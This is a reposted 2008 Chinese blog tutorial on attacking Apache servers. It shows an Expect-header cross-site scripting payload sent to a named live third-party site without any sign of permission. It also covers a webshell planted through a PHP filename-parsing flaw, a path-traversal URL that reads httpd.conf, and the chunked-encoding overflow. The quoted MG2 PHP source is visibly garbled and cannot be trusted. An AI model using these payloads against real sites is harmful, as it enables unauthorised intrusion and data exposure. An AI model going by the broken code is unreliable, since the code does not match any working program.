Web安全实践(9)攻击apache

简介:
作者:玄魂

 

 

 

系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html

安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566 

前言

   web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案(第二版)》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。


这次提供的漏洞都是平时积累来的,但是只有很少的我具体实际过,时间和精力有限,更多的技术上的东西还希望大家提供并讨论。

正文

 

9.1Expect跨站漏洞

Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失,但是在网上随便找了几个php的服务器,发现很多并没有升级,仍然存在问题。

对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为:

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: abcd

我在最后添加了一个Expect: abcd的请求。得到相应如下:

 

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:46:21 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

我们可以看到错误信息中的"Expect:abcd",是我们提交的请求。这时候就该考虑是不是存在跨站的漏洞,继续测试。

发送请求(注意最后的Expect请求)

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: <script language="javascript">alert('hello')</script>

得到响应:

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:53:34 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

证明该服务器是存在跨站漏洞的。对于跨站攻击我们以后会具体涉及,我也不是很清楚把具体的网址暴露出来是否合适?

9.2php文件名解析漏洞

以.php开头的文件名或者类似index.php.en,index.php.fr等都可以当做PHP解析。这是一个比较老的漏洞,援引网上的一篇文章做一下解释。

 

"MG2是在国外非常流行的一个PHP+HTML的图片管理程序,由于商业版被破解,程序流传甚广,
在google搜索关键字为"owered by MG2 v0.5.1"
最新版本存在着文件写入漏洞,可配和Apache漏洞直接得shell

includes/mg2_functions.php中addcomment()函数如下
function addcomment() {
R E Q U E S T [ f i l e n a m e ] = this->charfix( R E Q U E S T [ f i l e n a m e ] ) ; _REQUEST['input'] =  t h i s > c h a r f i x ( _REQUEST['input']);
R E Q U E S T [ e m a i l ] = this->charfix( R E Q U E S T [ e m a i l ] ) ; _REQUEST['name'] =  t h i s > c h a r f i x ( _REQUEST['name']);
R E Q U E S T [ i n p u t ] = s t r i p t a g s ( _REQUEST['input'], "");
R E Q U E S T [ i n p u t ] = s t r r e p l a c e ( " \n " , "" , _REQUEST['input']);
R E Q U E S T [ i n p u t ] = s t r r e p l a c e ( " \r " , "" , _REQUEST['input']);
if ( _REQUEST['input'] != "" && _REQUEST['name'] != "" &&  _REQUEST['email'] != "") { this->readcomments("pictures/" .  R E Q U E S T [ f i l e n a m e ] . " . c o m m e n t " ) ; comment_exists =  t h i s > s e l e c t ( _REQUEST['input'], t h i s > c o m m e n t s , 3 , 1 , 0 ) ; comment_exists =  t h i s > s e l e c t ( _REQUEST['name'], c o m m e n t e x i s t s , 1 , 1 , 0 ) ; comment_exists =  t h i s > s e l e c t ( _REQUEST['email'], c o m m e n t e x i s t s , 2 , 1 , 0 ) ; i f ( c o u n t ( comment_exists) == 0) {
t h i s > c o m m e n t s [ ] = a r r a y ( t i m e ( ) , _REQUEST['name'],  R E Q U E S T [ e m a i l ] , _REQUEST['input']);
t h i s > w r i t e c o m m e n t s ( _REQUEST['filename'] . ".comment");
........

漏洞很明显,可以自定义comment的文件名,如果你自定义的filename为".php",那么程序就会在
图片根目录下生成一个".php.comment"的文件,由于Apache的漏洞,该程序被当做php文件解析,webshell就到手了,
写了个利用程序如下:

提交后就会在图片根目录下生成一个含一句话木马的文件".php.comment"
[url=http://localhost/mg2/pictures/.php.comment?cmd=phpinfo]http://localhost/mg2/pictures/.php.comment?cmd=phpinfo[/url]();"

 

9.3分块(chunked)编码远程溢出漏洞    

这是在02年左右出现的一个漏洞,但是现在看来该漏洞仍然存在并危害着很多网站。

Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程攻击者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务攻击。 
分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到 chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。 
Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配 了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长 度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因 此,如果攻击者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓 冲区中,这会造成一个缓冲区溢出。 
对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。 
根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。

 

The Retina Apache Chunked Scanner 是 eEye 公司开发的一款Apache 分块编码缓冲区溢出漏洞扫描软件,可同时扫描254个IP,如果它发现存在漏洞的IP,就会记录下来,系统管理员只要通过双击该IP,就可以获得该漏洞的修补方法.。

网上还可以找到关于这个漏洞的溢出程序和源代码,在Google中搜索"Apache Exploit",可以得到更多的信息。有了这两样东西,问题就简单多了。

另外需要说明的是如果我们使用这个扫描程序的时候不选择"show only。。。"那个选项的话,该软件可以告诉我们网段内的所有web服务器类型。

9.3 Php 3文件外泄漏洞

发现在使用了 PHP3 脚本的 Apache Web Server 中,存在一个安全漏洞。 
通过 php 发送一个指定的 URL,就能使一个用户获得一个目标机上已知文件的读权限。成功的利用该漏洞,将导致敏感信息的泄露,为进一步的攻击提供了方便。 
例如:(Windows 2000 + Apache 1.3.6 + PHP3) 
提供下列 URL: 
http://taget/index.php3.%5c../..%5cconf/httpd.conf 
你将可以查看 httpd.conf 文件。

下面这些漏洞本人没做过任何实际操作,所以也无权发表心得,给出参考,希望大家能提供相关的实践经验和资料。

9.4错误日志转义序列注入漏洞

详见http://blog.ixpub.net/html/95/13151495-338483.html

9.5 MIME Boundary远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.6 ETag头远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.7 Mod_Auth_Any远程命令执行漏洞

详见http://www.nsfocus.net/vulndb/4774

9.8 mod_proxy_http模块中间响应拒绝服务漏洞

详见http://secunia.com/advisories/30621/

 

 

本文转自悬魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/archive/2008/11/12/1331945.html,如需转载请自行联系原作者

相关文章
|
前端开发 算法 API
构建高性能图像处理Web应用:Next.js与TailwindCSS实践
本文分享了构建在线图像黑白转换工具的技术实践,涵盖技术栈选择、架构设计与性能优化。项目采用Next.js提供优秀的SSR性能和SEO支持,TailwindCSS加速UI开发,WebAssembly实现高性能图像处理算法。通过渐进式处理、WebWorker隔离及内存管理等策略,解决大图像处理性能瓶颈,并确保跨浏览器兼容性和移动设备优化。实际应用案例展示了其即时处理、高质量输出和客户端隐私保护等特点。未来计划引入WebGPU加速、AI增强等功能,进一步提升用户体验。此技术栈为Web图像处理应用提供了高效可行的解决方案。
|
10月前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
1846 59
|
10月前
|
SQL 人工智能 数据挖掘
Apache Doris 4.0 AI 能力揭秘(二):为企业级应用而生的 AI 函数设计与实践
Apache Doris 4.0 原生集成 LLM 函数,将大语言模型能力深度融入 SQL 引擎,实现文本处理智能化与数据分析一体化。通过十大函数,支持智能客服、内容分析、金融风控等场景,提升实时决策效率。采用资源池化管理,保障数据一致性,降低传输开销,毫秒级完成 AI 分析。结合缓存复用、并行执行与权限控制,兼顾性能、成本与安全,推动数据库向 AI 原生演进。
1013 0
Apache Doris 4.0 AI 能力揭秘(二):为企业级应用而生的 AI 函数设计与实践
|
11月前
|
SQL 存储 运维
Apache Doris 在菜鸟的大规模湖仓业务场景落地实践
本文介绍了 Apache Doris 在菜鸟的大规模落地的实践经验,菜鸟为什么选择 Doris,以及 Doris 如何在菜鸟从 0 开始,一步步的验证、落地,到如今上万核的规模,服务于各个业务线,Doris 已然成为菜鸟 OLAP 数据分析的最优选型。
638 2
Apache Doris 在菜鸟的大规模湖仓业务场景落地实践
|
开发框架 JSON 中间件
Go语言Web开发框架实践:路由、中间件、参数校验
Gin框架以其极简风格、强大路由管理、灵活中间件机制及参数绑定校验系统著称。本文详解其核心功能:1) 路由管理,支持分组与路径参数;2) 中间件机制,实现全局与局部控制;3) 参数绑定,涵盖多种来源;4) 结构体绑定与字段校验,确保数据合法性;5) 自定义校验器扩展功能;6) 统一错误处理提升用户体验。Gin以清晰模块化、流程可控及自动化校验等优势,成为开发者的优选工具。
|
开发框架 JSON 中间件
Go语言Web开发框架实践:使用 Gin 快速构建 Web 服务
Gin 是一个高效、轻量级的 Go 语言 Web 框架,支持中间件机制,非常适合开发 RESTful API。本文从安装到进阶技巧全面解析 Gin 的使用:快速入门示例(Hello Gin)、定义 RESTful 用户服务(增删改查接口实现),以及推荐实践如参数校验、中间件和路由分组等。通过对比标准库 `net/http`,Gin 提供更简洁灵活的开发体验。此外,还推荐了 GORM、Viper、Zap 等配合使用的工具库,助力高效开发。
|
缓存 前端开发 应用服务中间件
Web端实时通信技术SSE在携程机票业务中的实践应用
本文介绍了携程机票前端基于Server-Sent Events(SSE)实现服务端推送的企业级全链路通用技术解决方案。文章深入探讨了 SSE 技术在应用过程中包括方案对比、技术选型、链路层优化以及实际效果等多维度的技术细节,为类似使用场景提供普适性参考和借鉴。该方案设计目标是实现通用性,适用于各种网络架构和业务场景。
417 1
|
缓存 前端开发 应用服务中间件
Web端实时通信技术SSE在携程机票业务中的实践应用
本文介绍了携程机票前端基于Server-Sent Events(SSE)实现服务端推送的企业级全链路通用技术解决方案。文章深入探讨了 SSE 技术在应用过程中包括方案对比、技术选型、链路层优化以及实际效果等多维度的技术细节,为类似使用场景提供普适性参考和借鉴。
518 7
|
存储 安全 数据挖掘
天翼云:Apache Doris + Iceberg 超大规模湖仓一体实践
天翼云基于 Apache Doris 成功落地项目已超 20 个,整体集群规模超 50 套,部署节点超 3000 个,存储容量超 15PB
1126 2
天翼云:Apache Doris + Iceberg 超大规模湖仓一体实践
|
Web App开发 前端开发 JavaScript
鸿蒙5开发宝藏案例分享---Web适配一多开发实践
这是一份实用的鸿蒙Web多设备适配开发指南,针对开发者在不同屏幕尺寸下的布局难题提供了解决方案。文章通过三大法宝(相对单位、媒体查询和窗口监听)详细介绍如何实现智能适配,并提供了多个实战案例,如宫格布局、对话框变形和自适应轮播图等。此外,还分享了调试技巧及工具推荐,帮助开发者快速上手并优化性能。最后鼓励读者实践探索,并提示更多官方资源等待发现。

热门文章

最新文章

推荐镜像

更多